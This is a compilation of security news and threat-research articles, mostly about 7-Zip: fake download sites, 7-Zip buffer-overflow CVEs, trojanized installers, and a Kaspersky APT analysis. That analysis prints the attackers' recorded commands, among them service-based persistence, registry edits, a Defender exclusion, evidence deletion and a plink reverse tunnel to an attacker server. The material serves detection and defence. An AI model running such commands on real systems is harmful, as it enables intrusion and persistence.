7-zip

We identified a network of 41 websites impersonating popular games and Windows software, all designed to push visitors towards the same Download Studio installer. The sites advertise everything from Counter-Strike, Half-Life, Fallout, Roblox, PUBG, and The Witcher to VLC, 7-Zip, Paint.NET, VMware, Total Commander, and Foxit PDF. They go to surprising lengths to look convincing, using accurate product information, genuine developer resources, and even real download links. But the link you see isn’t the link you follow. One site promises Counter-Strike. Hover over its download button and the browser displays a genuine Steam Store address. Click the button, however, and Steam never opens. The link looks safe when you hover, but the click says otherwise. One of the oldest web-safety tips is to hover over a link before clicking it and inspect the destination shown by your browser. We even recommend doing this when checking emails for phishing links and scams. But it isn’t foolproof. This campaign shows how a site can display a legitimate destination when you hover over a link, then send you somewhere completely different when you click it. On the Counter-Strike page, the download button contains a legitimate Steam Store URL. That is the address the browser displays when you hover over it. But JavaScript on the page handles the click separately. Instead of following the Steam link, the script cancels the expected navigation and sends the visitor through an affiliate redirect. The legitimate Steam URL provides reassurance, but isn’t the actual destination. The page goes further by linking to genuine Steam resources in its footer and presenting itself as a straightforward source of technical information. That veneer disappears the moment the download button is pressed. 41 sites, one destination The Counter-Strike site isn’t an isolated example. Across the 41 sites we identified, the branding and advertised downloads change, but visitors are ultimately pushed towards the same software: Download Studio. One site, GTA 6 PLAY, claims to offer a PC download of Grand Theft Auto VI. It provides installation instructions, system requirements, and everything else you might expect from a real game-download page. There is one rather significant problem: There is no announced PC version to download. Rockstar currently lists Grand Theft Auto VI for PlayStation 5 and Xbox Series X|S, with a release date of November 19, 2026. It has not announced a PC release. After visitors follow the download process, they’re shown instructions telling them to install Download Studio. Here’s an example of that screen from the Counter-Strike site: In other words, the advertised software is the lure. Installing Download Studio is the destination. The software lures are even more convincing The same technique appears on pages advertising ordinary Windows applications. A fake VLC Media Player page, for example, places a genuine VideoLAN download address inside its download button. It also identifies VideoLAN’s servers as the source of the file. At the time of our research, VLC 3.0.23 was VideoLAN’s current release. So the information shown to the visitor can be completely accurate. The link can be real. The version can be real. The developer can be correctly identified. Then the click handler overrides all of it. Instead of allowing the browser to retrieve VLC from VideoLAN, the page sends the visitor toward Download Studio. Even the signature advice can mislead you The VLC lure also recommends checking the installer’s digital signature before running it. A digital signature allows Windows to verify who signed a piece of software and whether the signed file has been changed since it was signed. To check one, right-click the downloaded file, select Properties, then open the Digital Signatures tab. You can select the signature and click Details to see whether Windows considers it valid and who signed it. Normally, that’s a useful check. But the Download Studio installer passes it. The sample we examined is validly signed by Grand Media, TOV. So you could follow the page’s advice, see that Windows considers the signature valid, and still have downloaded something completely different from what you intended. That’s because a valid signature tells you who signed a file and whether the signed content has been altered. It doesn’t tell you that you’ve downloaded the program you intended to. Microsoft’s own Authenticode documentation makes the same distinction. Code signing provides information about the publisher and integrity of a file. It does not guarantee that signed software is trustworthy. The lures include everyday software This campaign isn’t limited to people looking for unreleased games. VLC, 7-Zip, Paint.NET, and AIMP are legitimate applications people routinely download. Someone searching for one of them is doing nothing unusual. Other lures target security, backup, and recovery products, including Avast, Acronis, and Recuva. Someone looking for everyday software, or even software to protect or recover their computer, can be pushed into installing a program they never asked for. What the sites actually deliver The sample delivered during our research is a roughly 73 MB Windows installer for Download Studio. It is signed by Grand Media, TOV, and the signature validates successfully. Our analysis found Download Studio installing and launching its own interface and torrent components. The program registers torrent and magnet associations, and its installer includes an option to make Download Studio the default torrent client. The installation also enables its automatic updater. Importantly, our analysis did not establish that Download Studio itself is malware. What this campaign clearly demonstrates is that people looking for one piece of software are being deceptively funneled into installing another. The redirect includes affiliate tracking, suggesting there may be a commercial incentive. Download Studio has relevant history There is another reason Download Studio’s automatic updater caught our attention. In 2020, researchers at Avast found that Download Studio’s automatic updates had been used to silently distribute FakeMBAM, a backdoor disguised as a Malwarebytes installer. Avast monitored Download Studio’s updates and observed the fake Malwarebytes installers being delivered and executed in the same way as legitimate updates, silently in the background and without users knowingly initiating the installation. The backdoor could download additional malware, and the persistent payloads Avast observed were cryptocurrency miners. When the researchers contacted Download Studio’s developers, they said they had detected a security incident involving their continuous-integration server, investigated it, and added additional security measures. Avast said the developers did not answer follow-up questions about how many users were affected or whether they had been notified. The research also named Grand Media, TOV among the companies associated with the applications involved. The Download Studio installer we examined in this campaign is also signed by Grand Media, TOV. There is no evidence that the Download Studio installer in this campaign is malicious or that the same attack is happening again. But its automatic-update mechanism has previously been abused to distribute malware, making the fact that the current installer enables automatic updates relevant. Check what you actually downloaded There is another simple check that exposes the bait-and-switch used by these sites. Right-click the downloaded executable, select  Properties , and open the Details tab. For the sample we examined,  File description  and  Product name  identify Download Studio,  Original filename  is  DS-Setup.exe , and the copyright information names Grand Media. If you clicked a button labelled “Download VLC” and those fields say “Download Studio,” you have an immediate and obvious mismatch. The Details tab isn’t proof that a file is safe, however. The software publisher controls that information, so a malicious program could use convincing product names and descriptions. Instead, look at the whole download: Did it come from the developer or a trusted store? Is it signed by the publisher you expected? And does the file identify itself as the program you meant to download? How to protect yourself There are a few simple ways to avoid getting caught by this kind of download bait-and-switch: Get software directly from the developer’s website or a trusted app store. For games, use a legitimate store such as Steam or the publisher’s own store. Don’t rely on hovering over a link alone. As this campaign shows, a page can display a legitimate destination and then send you somewhere else when you click. A valid digital signature doesn’t mean you got the right program. Check  Properties > Details  and confirm the product name matches what you wanted. If a download page says you need to install a separate download manager first, close it. If a game hasn’t been released for your platform, a site claiming to offer an official download cannot have it. If Download Studio is already installed and you didn’t choose it, remove it through  Settings > Apps  and run a  full virus scan . Malwarebytes Browser Guard  blocks pages like these before they load, which stops the problem before you’ve downloaded anything. Indicators of Compromise (IOCs) File hashes (SHA-256)   9a3f6e69c12cb814c45862219ecb17e9ab7744877c9da1c49f3ea046437f8fca  ( DS-Setup.exe ) Network indicators   r.byteengineering[.]net   apis.downloadstud[.]io downloadstudio[.]net dstudio[.]app   getdownloadstudio[.]net   4kvideodownloader[.]ru acronisportal[.]ru cristalixmine[.]ru , crystaldisk24[.]ru csgodownload[.]ru cupheadplay[.]ru fallout24[.]ru farcryplay[.]ru faststoneportal[.]ru formatf[.]ru foxitpdf[.]ru get7zip[.]ru getaf[.]ru getaimp[.]ru getavast[.]ru getbandicam[.]ru getbluestacks[.]ru getmovavi[.]ru getrecuva[.]ru getultraiso[.]ru getvmware[.]ru getvuescan[.]ru gogetter24[.]ru gta6-play[.]ru halflife-play[.]ru memuemulator[.]ru paintdotnet[.]ru pdfxchange[.]ru poppyplaytimeplay[.]ru pubgplay[.]ru rdrplay[.]ru regorganize[.]ru roblox-play[.]ru rust-play[.]ru   tcommander[.]ru tf2play[.]ru   thewitcherplay[.]ru uninstalltooll[.]ru   vlcmp[.]ru   windowsmp[.]ru yandereplay[.]ru Stop threats before they can do any harm. Malwarebytes Browser Guard blocks phishing pages and malicious sites automatically. Free, one click to install. Add it to your browser →

7-Zip: PoC pubblico per lo sfruttamento della CVE-2026-14266 Alert AL04/260729/CSIRT-ITA Sintesi Disponibile Proof of Concept (PoC) per la vulnerabilità identificata tramite la CVE-2026-14266 presente in 7-Zip, noto software open source per la compressione e decompressione di file. Tale vulnerabilità, qualora sfruttata, potrebbe consentire ad un utente malintenzionato remoto di eseguire codice arbitrario sui sistemi target. Tipologia Remote Code Execution Descrizione e potenziali impatti La vulnerabilità identificata tramite la CVE-2026-14266, di tipo "Heap-based Buffer Overflow" e con score CVSS v3.1 pari a 7.0, interessa 7-Zip, noto software open source per la compressione e decompressione di file. Questa vulnerabilità è dovuta a un'errata convalida dei parametri di input durante il processo di XZ chunked data. Un attaccante remoto non autenticato potrebbe sfruttare tale vulnerabilità inviando un file XZ opportunamente predisposto al dispositivo interessato, al fine di sovraccaricare un buffer basato su heap, che potrebbe essere utilizzato successivamente per eseguire codice arbitrario nel contesto del processo corrente. Prodotti e/o versioni affette 7-Zip, versioni precedenti alla 26.02 Azioni di mitigazione Ove non già provveduto, si raccomanda di aggiornare i prodotti vulnerabili all’ultima versione disponibile, seguendo le indicazioni fornite ai link disponibili nella sezione Riferimenti.

Opening a crafted XZ archive in 7-Zip could let an attacker run code on the machine. The flaw, CVE-2026-14266, is a heap-based buffer overflow in how the archiver processes XZ chunked data, and Trend Micro's Zero Day Initiative (ZDI) detailed it on July 15. A fix shipped on June 25 in 7-Zip 26.02. The overflow lets an attacker "execute code in the context of the current process," per the advisory. The code runs with the token 7-Zip itself holds and gains no privileges of its own. On Windows, a normally launched 7-Zip runs under a filtered standard-user token even on an administrator account, so the attacker inherits those limited rights unless the program was started elevated. The bug came in from Landon Peng of Lunbun LLC, who reported it to 7-Zip on June 5. ZDI rates the flaw 7.0, or High, not the Critical several write-ups reached for. The full CVSS 3.0 vector is AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H. The AV:L makes it a local attack vector, not a network-reachable or no-click one. ZDI's "remote code execution" describes a remote attacker delivering the file, which the victim still has to open, whether it arrives by email, a download, or a web page that hands it to 7-Zip. The high attack complexity makes reliable exploitation harder still. As of July 20, 2026, The Hacker News found no public proof-of-concept for the bug and no credible report of exploitation in the wild. The Hacker News compared the XZ decoder source across releases. The fix lands in one function, MixCoder_Code in C/XzDec.c. When an XZ stream runs its output through a filter, the decoder was handed the full output-buffer length on each pass instead of the space left after earlier writes. That gave it more room to work with than the buffer held, the out-of-bounds write condition ZDI describes. Version 26.02 subtracts the bytes already written and bails out if that running total ever exceeds the buffer. The same flawed length handling appears unchanged in 7-Zip source back to at least version 21.07 (2021), though neither ZDI nor 7-Zip has said which releases are actually exploitable. CVE-2026-14266 is the latest in a run of memory-safety bugs in 7-Zip's archive handlers. On April 27, version 26.01 fixed a batch of them, including the higher-scored CVE-2026-48095, an NTFS-handler heap-write overflow that GitHub Security Lab detailed on May 22 with a working proof-of-concept. The XZ flaw is the quieter of the two so far, and 26.02 rolls up every one of these fixes, so one update covers them all. So update to 7-Zip 26.02 or later on every machine that opens archives from outside. Updating is a manual install from the official site, so set-and-forget machines will not pick it up on their own. Any product that ships a vulnerable copy of 7-Zip's XZ decoder needs its own vendor fix. The patch went out 20 days before the advisory, so anyone who updated in late June was covered before the details were public. For once, updating gets you ahead of the problem instead of chasing it.

7-Zip version 26.02 was released on June 25 to fix a remote code execution vulnerability that could allow attackers to execute malicious code by convincing users to open specially crafted compressed files. The vulnerability, disclosed by Lunbun researcher Landon Peng, exists in 7-Zip's processing of XZ-compressed data. According to an advisory from the Zero Day Initiative published this week, a specially crafted XZ data can trigger a heap-based buffer overflow, potentially allowing attackers to execute arbitrary code as the user. While the developer has not published technical details about the flaw, the changes in the 26.02 source code suggest it is related to how 7-Zip tracks available space while decompressing XZ data. The patch adds checks to ensure the decoder cannot write beyond the remaining available space in an output buffer, helping prevent a heap-based buffer overflow. The advisory states that exploitation requires user interaction, such as visiting a malicious page or opening a malicious archive file. No automatic update feature As 7-Zip does not include an automatic update feature, users will not receive the security fix automatically. Instead, they must install it manually by downloading the latest version from the program's official site, 7-zip.org. Because 7-Zip is one of the most widely used archive utilities on Windows, security flaws impacting its archive features are an attractive target to threat actors. A phishing campaign or social engineering attack could be used to distribute a malicious archive that exploits the flaw to install malware on vulnerable systems. This is not far-fetched, as archive vulnerabilities, including those in 7-Zip, have been exploited in past attacks. In early 2025, a 7-Zip vulnerability that allowed malware to bypass Windows' Mark of the Web (MotW) security feature was exploited by Russian hackers as a zero-day. Later that same year, a Russian hacking group exploited a WinRAR vulnerability tracked as CVE-2025-8088 via phishing attacks to install the RomCom malware. There are currently no reports that attackers are actively exploiting this newly disclosed 7-Zip vulnerability. However, users are advised to update to version 26.02 as soon as possible to reduce the risk of future attacks. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

UPD 16.07.2026: Added rules to protect companies using our Kaspersky SIEM system, and listed events for developing custom detection rules or conducting threat hunting. UPD 16.07.2026: Added detection of the malicious activity using Kaspersky Managed Detection and Response. UPD 16.07.2026: Added detection rules and examples using KEDR Expert. UPD 16.07.2026: Added detection of the malicious campaign in network traffic using Kaspersky Anti Targeted Attack (KATA) with the NDR module. UPD 16.07.2026: Updated the list of Indicators of Compromise (IoCs) and TTPs. We discovered a new APT attack using previously unknown tooling, which started at least in May 2026 and remains active at the time of publication. It is notable in that the implants used during the attack were launched through the ViPNet update system (a software suite for creating secure networks). During our research, we identified attempts at targeted infection of large Russian organizations in the government, energy, transport, education, and logistics sectors, as well as industry. This is not the first time an advanced group has targeted computers connected to ViPNet networks. For example, last year, we discovered a complex backdoor mimicking ViPNet updates. Persistence via the update system On one of the analyzed systems, we identified a malicious file named wtsapi32.dll in the directory C:\Program Files (x86)\InfoTeCS\VIPNet Update System, which belongs to the ViPNet suite update system. By placing the file in this directory, the attackers implement the DLL Sideloading technique — the ViPNet update system executable file itcsrvup64.exe, which is launched at OS startup, is susceptible to it. Thus, during this attack, the attackers tried to implement persistence on the system through the ViPNet software update component. HelloInjector: a loader for additional malicious components The wtsapi32.dll component is a loader, which we named HelloInjector. Its main goal is to inject its code into the svchost.exe process and launch the malicious payload. After starting, the malware checks the process in the context of which it was launched. If the name of the main process is not svchost.exe, the loader starts iterating through all processes running in the operating system. It looks for a process whose name contains the string svchost, and whose command line contains the string netsvcs. If such a process is found, the loader injects itself into the target process using the NtWriteVirtualMemory and NtCreateThreadEx functions. After restarting inside the new process, the loader checks the process name again for the presence of the string svchost. Having confirmed the successful check, HelloInjector loads and executes the malicious payload, which is stored in its body in plain text, in memory. HelloProxy: a tool for traffic proxying and launching new malicious payloads The malicious payload, which we named HelloProxy, is simultaneously a hidden proxy and a loader for the following modules sent by the command server. It works by intercepting the NtDeviceIoControlFile, closesocket, and shutdown functions. Their interception is carried out using the Microsoft Detours library. The handlers of the closesocket and shutdown functions prevent the premature closing of sockets used for interaction with the C2. In turn, the handler of the NtDeviceIoControlFile function contains the main malicious logic. Its code implements the interception of two IOCTL codes: AFD_RECV (0x12017) AFD_GET_TDI_HANDLES (0x12037) These codes are used during socket operations — their interception allows the malware to hinder security solutions operating in user mode for filtering network connections. Kaspersky security solutions detect such activity and prevent infection attempts at all stages. The AFD_GET_TDI_HANDLES handler is responsible for socket registration, and the AFD_RECV handler initiates the processing of incoming traffic. It is worth noting that every incoming message that triggered the processing of the AFD_RECV code is logged to the file C:\users\public\tesh4RPC.txt in the format: After installing the interceptors, the malware starts listening on ports 5003 and 5060 in anticipation of the first commands from the C2 server. In order to distinguish the command server traffic from the rest of the traffic, the implant implements a handshake process: it sends two bytes 0x0502 through the socket and expects to receive a message containing the string ASDFASFSAFASDF. After the successful completion of the handshake, the processing of incoming commands continues. Depending on the received command, there are two execution branches: Working as a proxy. The malware accepts strings in the following format: Afterwards, it creates new sockets and starts forwarding traffic between them. Working as a loader. The malware accepts an executable file from the command server, after which it loads it into the memory of its own process and launches it in a separate thread. During the research, we managed to discover two malicious payloads that were injected into the svchost process, likely as a result of the previously described loader’s operation: An implant, which we named HelloExecutor, with the help of which attackers can execute commands on the infected system. A module for cleaning ViPNet software log files, which we named HelloCleaner. It allows hiding the attackers’ actions in the system. We established that the HelloExecutor backdoor was used for reconnaissance in the networks of infected organizations. The following shell commands were executed: In these commands, the mention of the directory C:\Users\Public\Music is notable. We established that on infected machines, the attackers used this directory when launching an SSH tunnel from the infected infrastructure to the attackers’ command server (5.39.253[.]206). The attackers launched a renamed executable file of the legitimate PuTTY utility (a client for various remote access protocols): HelloBackdoor: a Rust-based backdoor for file system manipulations In addition to this, a backdoor written in the Rust language, which we named HelloBackdoor, was discovered on one of the infected systems. It accepts connections on port 443, waiting for the string 47c6235b4d2611184 (the second half of the MD5 hash of the string hello\n) to activate the backdoor. This backdoor further accepts the following commands: !upload — upload a file to the infected machine !down — download a file from the infected machine !stop — stop the backdoor’s operation. For this, a BAT file is created and executed with the following content: If the command text did not match the above list, the command is executed using cmd.exe. Attribution During the analysis of one of the wtsapi32.dll file samples, we found an unused string: It refers to the news portal sina.com, which is popular in China. In addition, while analyzing the strings in the HelloBackdoor backdoor, we established that during compilation, Rust packages (crates) were downloaded from the mirror mirrors.ustc.edu.cn. Most likely, these strings remained in the malicious files unintentionally. However, the probability of using “false flags” implanted by attackers to complicate the attribution process cannot be excluded. At present, we link this campaign to the activities of an unknown Chinese-speaking APT group with a low degree of confidence. Recommendations Given that this is not the first time ViPNet has been used by advanced threat actor to conduct cyberattacks, we recommend paying special attention to the protection of workstations running this software. In particular, network traffic monitoring should be configured on the ports specified in the article for timely detection of signs of compromise. Countering complex targeted attacks requires a comprehensive approach that combines security technologies operating at various stages of the cyberattack lifecycle. Such a multi-level security model helps not only to detect but also to prevent this category of incidents. This approach is embedded in the architecture of the Kaspersky Next Expert range of solutions, designed to protect businesses from APT-level threats, including attacks similar to the one described in this article. Kaspersky solutions detect this threat with the following verdicts: Trojan.Win32.Agentb.ttoe Trojan.Win64.Convagent.gen Trojan.Win64.Agent.smgpqx HEUR:Trojan.Win64.DllHijacking.gen Detection by Kaspersky solutions Kaspersky security solutions, such as Kaspersky Endpoint Detection and Response Expert, successfully detect malicious activity within the described attacks. One practical method of detection is monitoring renamed PuTTY/Plink binaries rather than relying on the file name: even if the executable is named frontpage.exe, its PE header, version, strings, and hash match the original Plink, which is confirmed by EDR events. Additionally, it is worth paying attention to the specific command line with which the process was launched. The KEDR Expert solution detects this activity using the using_plink_or_putty_for_port_forwarding rule. It is also important to monitor process injection into svchost.exe originating from the ViPNet update process itcsrvup64.exe, since this component should not legitimately inject code into system processes. Such behavior is a characteristic indicator of HelloInjector activity, which uses a trusted and signed process to mask malicious injection. The KEDR Expert solution detects this activity using the vipnet_load_library_code_injection rule. Another effective way to detect malicious activity associated with ViPNet is monitoring network traffic. The Kaspersky Anti Targeted Attack (KATA) solution with the NDR module detects this activity using the IDS module and a Suricata rule for HelloBackdoor activity. The rule is implemented based on the first packet expected by the malware. It accepts TCP connections on port 443, expecting to receive the command 47c6235b4d2611184 (part of the MD5 hash of the string hello\n), which activates the backdoor. The Kaspersky Managed Detection and Response service detects this attack using the following indicators: Monitoring the creation of the wtsapi32.dll library in the C:\Program Files (x86)\InfoTeCS\VIPNet Update System directory. Monitoring the launch of unusual processes (not typical of ViPNet, lacking an InfoTeCS signature) by the ViPNet update process (Itcsrvup64.exe orItcsrvup.exe ). Creation of library files (.dll) in a directory associated with ViPNet (by default, ViPNet Update System or VIPNET CLIENT) by ViPNet processes. Atypical activity (file creation/process execution) from an instance of the svchost.exe process. Creation of executable files in directories that are writable by default (%ProgramData% ,%TEMP% ,%SystemRoot%\Temp , C:\Users\Public, music|pictures|videos|contacts|links|libraries). Monitoring the creation of tunnels using ssh or plink processes (identification is performed based on the original PE file name, not the executable file name); the detection is based on the presence of substrings like port:address:port and their variations in the command line. To protect companies using our Kaspersky SIEM system, the product repository contains rules that help detect such malicious activity. Reconnaissance of users and groups, as well as network connections using standard Windows utilities, is detected by the following rules: R220_02_Collection of user account information using standard Windows tools R221_01_Windows group discovery via Windows tools R224_02_Remote system discovery via standard Windows tools R224_14_Windows reconnaissance activity R226_02_Collection of information about network connections using standard Windows tools Also, when developing your own detection rules or conducting threat hunting, we recommend paying attention to the following events: Creation of suspicious files in the ViPNet update directory C:\Program Files (x86)\InfoTeCS\VIPNet Update System: Persistence using the DLL Sideloading technique by loading the wtsapi32.dll library into ViPNet update processesItcsrvup64.exe orItcsrvup.exe with an invalid signature (Signed not true, SignatureStatus not valid) or a signature that does not contain InfoTeCS vendor details: Launching non-standard processes from the ViPNet update processes Itcsrvup64.exe orItcsrvup.exe : Launching the ViPNet update processes Itcsrvup64.exe orItcsrvup.exe with an invalid signature (Signed not true, SignatureStatus not valid) or a signature that does not contain InfoTeCS vendor details: Atypical reconnaissance execution from the svchost.exe process: Creation of tunnels using renamed ssh or plink processes: For correct functioning of detection rules and threat hunting, it is necessary to ensure that events from Windows systems are received by the Kaspersky SIEM system in full, including events with the following identifiers: Sysmon 1, 7, 11, as well as Security 4688, 4663. Indicators of Compromise HelloBackdoor 16C211C96735F2FAE9361B89BD7A31BF 1BFE2B9493128574907A8279256A8BCC f9eed2f0158dc98e7012fb809152209c HelloBackdoor Droppers: 6001829A128FE264B4403138700C11A8 – infotecs\vipnet client\puh.exe EE4FF46DDD8489E81447962F927BC3F6 – infotecs\vipnet client\store.exe Utility for adding exclusions to Windows Defender: 41c938b3cd7e55d4077e34976929b140 wtsapi32.dll B103CD21280B4061F88B2BCC51394894 9F5606A0755BC633B9BD7DB6D179C09E 0CFDFFC56F0FA325D0C4D24780B46597 5.39.253[.]206 176.32.34[.]135 Detected TTPs: T1569.002 — System Services: Service Execution "cmd" /c sc start UrBackupClientBackend T1016 — System Network Configuration Discovery "cmd" /c arp -a "cmd" /c routeprint T1049 — System Network Connections Discovery "cmd" /c netstat -ano T1018 — Remote System Discovery "cmd" /c ping mail.ru -n 2 T1082 — System Information Discovery "cmd" /c systeminfo T1057 — Process Discovery "cmd" /c tasklist T1007 — System Service Discovery "cmd" /c sc query UrBackupClientBackend T1083 — File and Directory Discovery "cmd" /c dir temp*.tmp "cmd" /c dir $temp\*.tmp "cmd" /c dir amgmt* "cmd" /c dir $user\desktop\mRemoteNG-Portable-1.76.20.24669 "cmd" /c dir $public\libraries\ "cmd" /c dir d:\WindowsImageBackup T1005 — Data from Local System "cmd" /c type $temp\TS_E9E3.tmp "cmd" /c type $temp\Acr6F3D.tmp T1074.001 — Local Data Staging "cmd" /c copy appdata\infotecs\*\APN000B.txt $public\libraries\ T1070.004 — Indicator Removal: File Deletion "cmd" /c del $windir\amgmt.dll "cmd" /c del $public\libraries\APN000B.txt T1543.003 — Create or Modify System Process: Windows Service sc stop AppMgmt sc delete AppMgmt sc create AppMgmt binpath= "system32\svchost.exe -k netsvcs" type= share start= auto displayname= "Application Management" sc description AppMgmt "Processes installation, removal, and enumeration requests for software deployed through Group Policy. If the service is disabled, users will be unable to install, remove, or enumerate software deployed through Group Policy. If this service is disabled, any services that explicitly depend on it will fail to start." sc failure AppMgmt reset= 0 actions= restart/0 T1112 — Modify Registry reg add HKLM\SYSTEM\CurrentControlSet\Services\AppMgmt\Parameters /v ServiceDll /t REG_EXPAND_SZ /d $system32\$selfname.dll reg add HKLM\SYSTEM\CurrentControlSet\Services\AppMgmt\Parameters /v ServiceMain /t REG_SZ /d ServiceMain T1036 — Masquerading (service, description, and DLL masquerade as the legitimate Application Management) "cmd" /c copy $windir\amgmt* $system32\ T1059.003 — Execution of auxiliary scripts "cmd" /c $windir\amgmt.bat "cmd" /c $windir\insru.cmd T1105 — Ingress Tool Transfer "cmd" /c $programfiles\7-zip\7z.exe x $windir\Irsoisas.zip -o"$windir T1562.001 — Impair Defenses: Disable or Modify Tools "cmd" /c \$windir\puh.exe add $windir\autoit3.exe white T1059 / T1218 — Proxy execution via AutoIt "cmd" /c \$windir\autoit3.exe \$windir\data.dat T1572 — Protocol Tunneling / T1090 — Proxy / T1021.004 — Remote Services: SSH c:\users\[username]\libraries\pagent.exe -C -N -R 6443:[redacted] [email protected] -P 48022 -pw [redacted]

Cybersecurity researchers have disclosed details of a new threat actor dubbed Lurking Lizard that has been operating an end-to-end malicious residential proxy business using an infrastructure comprising more than 230 lookalike domains. The activity dates back to at least August 2022, according to DNS threat intelligence firm Infoblox. One such campaign, observed earlier this year, involved the actor luring victims with a trojanized 7-Zip installer hosted on a domain named "7zip[.]com," covertly recruiting compromised devices as proxy nodes. Lurking Lizard is also known to impersonate major proxy providers, including IPIDEA, SmartProxy (now Decodo), IP Royal, and 911Proxy, not to mention going to the extent of running fake "independent" review sites to drive traffic to its own scam storefronts. Interestingly, IPIDEA's infrastructure was dismantled by Google in an operation earlier this January. Subsequent findings from Proxyway have uncovered that 773,087 unique IP addresses linked to SmartProxy were also present in a publicly available IPIDEA IP dataset comprising 16,192,293 unique IPs, indicating SmartProxy either "resells IPIDEA's infrastructure directly or uses it as a significant IP source." WHOIS analysis and infrastructure fingerprinting suggest that Lurking Lizard is a China-based actor, with the illicit scheme also using popular VPNs and services like HeroSMS as decoys to distribute the proxy malware. One of the notable aspects of the adversary's modus operandi revolves around acquiring domains when they expire to inherit their accumulated history and legitimacy, a technique known as drop-catching. In some cases, the attacker has taken advantage of the perceived legitimacy surrounding incorrectly referenced domain names (e.g., "7zip[.]com" instead of "7-zip[.]org") to use them to their advantage. Further analysis of the IPLogger URL ("iplogger[.]com/mnWD") embedded within the samples tied to the 7-Zip campaign has uncovered that the same underlying infrastructure has been used to serve fake installers for 7-Zip, WhatsApp, tools falsely claiming TikTok and YouTube downloaders, and WireVPN. Infoblox says the use of WireVPN branding represents the latest evolution of the campaign, using a multi-pronged approach to target users across operating systems, including Android, macOS, and Windows. One such Android app, called "wirevpn - Fast Unlimited Proxy" and published under a U.K.-registered entity, WIRE LTD, has amassed more than 1 million downloads, although it's unclear if these downloads are organic. Neither Infoblox nor The Hacker News has established that the files named wire.exe or upwire.exe were official WireVPN software or were distributed by WEILAI. WEILAI NETWORK TECHNOLOGY CO., LIMITED, which operates WireVPN, disputes Infoblox's findings. It denies enrolling users' devices as residential proxy nodes or routing third-party traffic through their IP addresses, and says wire.exe and upwire.exe are not official WireVPN files. "In the original 7-Zip campaign, victims were directed to malicious installers through tutorial content, search-driven discovery, and lookalike domains," Infoblox said. "Whether similar techniques are driving users to the current desktop variants is unclear, but the mobile applications may serve as an additional acquisition channel." Infoblox analyzed only Windows samples and did not examine the mobile apps, and it characterized the exit-node behavior as pointing toward a proxy network while noting that further analysis is needed to fully characterize it. It's also unclear if the same proxy functionality (an exit node funneling third-party traffic through victims' devices) is present in the mobile applications, or if it's limited to the desktop versions. Regardless, Infoblox says they paint a picture of what appears to be an unlawful proxy business that fuels a coordinated ecosystem spanning victim acquisition, proxy infrastructure, marketing, and monetization. The result is an end-to-end operation that goes through two distinct stages: Trojanized installers, mobile applications, and other lures recruit victim devices into an actor-controlled proxy botnet. The pool is then monetized through lookalike proxy service brands, while fake review sites help drive traffic to the actor’s storefronts. "We are struck by the parallels between the recently exposed criminal activity in the residential proxy space and malvertising that plagues affiliate advertising," Infoblox said. "There's an obvious story: Your TV may be part of a giant botnet conducting attacks across the internet. But the real story is far more complex, and solutions are still elusive." "Rather than operating a single malware campaign, Lurking Lizard manages multiple stages of the residential proxy lifecycle for several years, from acquiring victim devices through to marketing and selling access to the resulting network." The development comes days after Google announced that it had significantly degraded the NetNut (aka Popa) residential proxy network that turned at least 2 million devices, such as smart TVs and streaming boxes, into conduits for unauthorized network traffic through malware-laced SDKs that either come pre-installed before purchase or through apps containing hidden proxy code. "This creates serious risks for unsuspecting device owners, as their home IP addresses can be used by attackers as a launchpad for hacking and other unauthorized activities," Google said. "Consequently, users can have their legitimate traffic flagged as suspicious, or blocked by their service providers." Note: Updated on July 12, 2026, to attribute the disputed findings to Infoblox, clarify the scope of its analysis, correct the developer entity of the Android app, and add WireVPN's response.

7-Zip: PoC pubblico per lo sfruttamento della CVE-2026-48095 Alert AL08/260528/CSIRT-ITA Sintesi Disponibile un Proof of Concept (PoC) per lo sfruttamento della CVE-2026-48095 – già sanata dal vendor – presente in 7-Zip, nota applicazione open source per la gestione degli archivi compressi. Tipologia Arbitrary Code Execution Descrizione e potenziali impatti È stato recentemente reso pubblico un Proof of Concept (PoC) per la CVE-2026-48095 – di tipo “Heap Buffer Overflow” e con CVSS v3.1 pari a 8.8. In dettaglio, un utente malintenzionato, tramite un archivio compresso malevolo contenente una struttura NTFS opportunamente predisposta, potrebbe sfruttare un meccanismo di allocazione della memoria inadeguato nel modulo GetCuSize() e scrivere dati al di fuori del buffer. Lo sfruttamento di tale vulnerabilità consente all’attaccante di eseguire codice arbitrario sul sistema target. Prodotti e/o versioni affette 7-Zip, versioni precedenti alla 26.01 Azioni di mitigazione In linea con le dichiarazioni del vendor, si raccomanda di aggiornare i prodotti vulnerabili seguendo le indicazioni del bollettino di sicurezza riportato nella sezione Riferimenti.

